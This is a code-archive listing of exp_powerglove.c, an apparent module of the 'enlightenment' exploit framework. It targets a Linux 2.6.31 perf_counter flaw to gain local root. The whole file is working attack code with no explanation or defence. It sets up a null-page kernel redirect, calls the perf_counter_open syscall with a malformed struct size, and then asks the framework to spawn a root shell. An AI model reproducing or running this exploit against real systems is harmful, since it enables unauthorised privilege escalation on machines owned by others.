home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_powerglove.c < prev    next >
C/C++ Source or Header  |  2009-09-20  |  995b  |  63 lines

  1. /* powerglove */
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <sys/mman.h>
  6. #include <sys/syscall.h>
  7. #include "exp_framework.h"
  8.  
  9. #undef __NR_perf_counter_open
  10. #ifdef __x86_64__
  11. #define __NR_perf_counter_open 298
  12. #else
  13. #define __NR_perf_counter_open 336
  14. #endif
  15.  
  16. struct perf_counter_attr {
  17.     unsigned int type;
  18.     unsigned int size;
  19. };
  20.  
  21. struct exploit_state *exp_state;
  22.  
  23. char *desc = "Powerglove: Linux 2.6.31 perf_counter local root";
  24.  
  25. int get_exploit_state_ptr(struct exploit_state *ptr)
  26. {
  27.     exp_state = ptr;
  28.     return 0;
  29. }
  30.  
  31. int requires_null_page = 1;
  32.  
  33. int prepare(unsigned char *ptr)
  34. {
  35.     return EXIT_KERNEL_TO_NULL;
  36. }
  37.  
  38. int trigger(void)
  39. {
  40.     struct perf_counter_attr *ctr;
  41.  
  42.     ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
  43.     if (ctr == NULL) {
  44.         fprintf(stdout, "bleh\n");
  45.         exit(1);
  46.     }
  47.  
  48. #ifdef __x86_64__
  49.     ctr->size = 0xd0;
  50. #else
  51.     ctr->size = 0x60;
  52. #endif
  53.     
  54.     syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
  55.  
  56.     return 0;
  57. }
  58.  
  59. int post(void)
  60. {
  61.     return RUN_ROOTSHELL;
  62. }
  63.